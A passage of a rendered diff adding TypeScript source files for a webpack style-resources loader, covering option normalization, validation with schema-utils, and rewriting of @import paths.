return (source, resources) => source + resources.map(getResourceContent).join('');
|
28
|
+
}
|
29
|
+
|
30
|
+
return injector;
|
31
|
+
};
|
32
|
+
|
33
|
+
export const normalizeOptions = (ctx: LoaderContext): StyleResourcesLoaderNormalizedOptions => {
|
34
|
+
const options = getOptions(ctx);
|
35
|
+
|
36
|
+
validateOptions<StyleResourcesLoaderOptions>(options);
|
37
|
+
|
38
|
+
const {patterns, injector, globOptions = {}, resolveUrl = true} = options;
|
39
|
+
|
40
|
+
return {
|
41
|
+
patterns: normalizePatterns(patterns),
|
42
|
+
injector: normalizeInjector(injector),
|
43
|
+
globOptions,
|
44
|
+
resolveUrl,
|
45
|
+
};
|
46
|
+
};
|
@@ -0,0 +1,23 @@
|
|
1
|
+
import path from 'path';
|
2
|
+
|
3
|
+
import type {LoaderContext, StyleResource} from '..';
|
4
|
+
|
5
|
+
/* eslint-disable-next-line prefer-named-capture-group */
|
6
|
+
const regex = /@(?:import|require)\s+(?:\([a-z,\s]+\)\s*)?['"]?([^'"\s;]+)['"]?;?/gu;
|
7
|
+
|
8
|
+
export const resolveImportUrl = (ctx: LoaderContext, {file, content}: StyleResource): StyleResource => ({
|
9
|
+
file,
|
10
|
+
content: content.replace(regex, (match: string, pathToResource?: string) => {
|
11
|
+
if (!pathToResource || /^[~/]/u.test(pathToResource)) {
|
12
|
+
return match;
|
13
|
+
}
|
14
|
+
|
15
|
+
const absolutePathToResource = path.resolve(path.dirname(file), pathToResource);
|
16
|
+
const relativePathFromContextToResource = path
|
17
|
+
.relative(ctx.context, absolutePathToResource)
|
18
|
+
.split(path.sep)
|
19
|
+
.join('/');
|
20
|
+
|
21
|
+
return match.replace(pathToResource, relativePathFromContextToResource);
|
22
|
+
}),
|
23
|
+
});
|
Binary file
|
@@ -0,0 +1,7 @@
|
|
1
|
+
import path from 'path';
|
2
|
+
|
3
|
+
import {SUPPORTED_FILE_EXTS} from './constants';
|
4
|
+
|
5
|
+
export const isFunction = <T extends (...args: any[]) => any>(arg: any): arg is T => typeof arg === 'function';
|
6
|
+
|
7
|
+
export const isStyleFile = (file: string) => SUPPORTED_FILE_EXTS.includes(path.extname(file));
|
Binary file
|
@@ -0,0 +1,11 @@
|
|
1
|
+
import {validate} from 'schema-utils';
|
2
|
+
|
3
|
+
import {schema} from '../schema';
|
4
|
+
|
5
|
+
import {LOADER_NAME, VALIDATION_BASE_DATA_PATH} from './constants';
|
6
|
+
|
7
|
+
export const validateOptions: <T>(options: any) => asserts options is T = options =>
|
8
|
+
validate(schema, options, {
|
9
|
+
name: LOADER_NAME,
|
10
|
+
baseDataPath: VALIDATION_BASE_DATA_PATH,
|
11
|
+
});
|